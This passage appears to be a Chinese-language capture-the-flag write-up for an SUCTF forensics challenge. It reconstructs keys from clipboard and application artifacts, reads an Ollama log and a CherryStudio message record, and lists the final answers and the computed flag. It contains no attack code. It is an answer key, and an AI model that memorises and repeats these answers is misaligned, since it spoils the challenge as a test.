1-4-3-2 重排

四段分别是:

1 = zQt$d3!GIS9l.aR@7ELN
2 = 4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
3 = 1772720724
4 = A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z

按题目要求 1-4-3-2 拼接:

zQt$d3!GIS9l.aR@7ELN
A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z
1772720724
4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789

合并后得到:

zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789

所以:

Q5 = zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789

Q6 Ollama 客户端 no such host 时间

证据

看:

  • extracted/ollama/app.log

关键日志:

time=2026-03-05T21:58:17.244+08:00 level=WARN source=ui.go:1567 msg="failed to check upstream digest" error="Head \"https://ollama.com/v2/library/deepseek-r1/manifests/8b\": dial tcp: lookup ollama.com: no such host" model=deepseek-r1:8b

所以:

Q6 = 2026/03/05T21:58:17

Q7 得到“让本地模型输出固定格式密钥”的 prompt 的 messageid

原理

Q7 问的不是“第二密钥在哪条消息里”,而是“让本地模型输出固定格式密钥”的 prompt 来源消息是哪条。

这个来源不是 Ollama 本身,而是 CherryStudio 里先问出来的命令模板。

证据

看:

  • extracted/cherry/indexeddb_parsed_clean.json

可以定位到:

message_id = 40854344-3f6e-4464-a07f-b39d42f5adc5
topic_id   = bef7324a-9e11-4e23-a19f-624f662a92c8
created_at = 2026-03-05T14:20:05.397Z

对应主文本块里给出了:

openssl rand -base64 32 | tr '+/' '-_' | tr -d '='

随后在 Ollama 的 chat 019cbe60-6803-70fe-8ab5-e0035399980f 中,user 108 基本原样把这条命令贴给本地模型去要示例。所以这条 Cherry 消息就是 prompt 的真正来源。

所以:

Q7 = 40854344-3f6e-4464-a07f-b39d42f5adc5

最终 flag 生成

题目给出的格式是:

SUCTF{MD5(问题一答案_问题二答案_问题三答案_问题四答案_问题五答案_问题六答案_问题七答案)}

所以 payload 为:

2026/03/05T17:23:06_c1c4c50f51afc97a58385457af43e169_zQt$d3!GIS9l.aR@7ELN_019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24_zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789_2026/03/05T21:58:17_40854344-3f6e-4464-a07f-b39d42f5adc5

计算 MD5:

39e850db5d740c54df4281e39fb3866d

最终 flag:

SUCTF{39e850db5d740c54df4281e39fb3866d}

这题的几个坑

1. 第一密钥不是 EkXVEW...

那个字符串虽然像密钥,也出现在 Ollama 和 uTools 里,但它是误导项。真正通过验证的是 uTools 剪贴板里的:

zQt$d3!GIS9l.aR@7ELN

2. Q4 的时间要取 updated_at

如果取 22:21:57,Q4 可能看起来合理,但 Q5 的第三段就对不上。

第三段是第二密钥生成时间的 Unix 时间戳,而验证通过的第三段恰好对应 22:25:24

3. 第三密钥不是 1772702254350

1772702254350 只是 uTools 中某个剪贴板项的毫秒时间戳。

正确的第三密钥是“第二密钥生成完成时间”的秒级 Unix 时间戳:

1772720724

4. 第四段其实早就落在 uTools 里了

A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z 在旧 uTools 剪贴板里出现了不止一次,这也是 Q5 能彻底闭环的关键。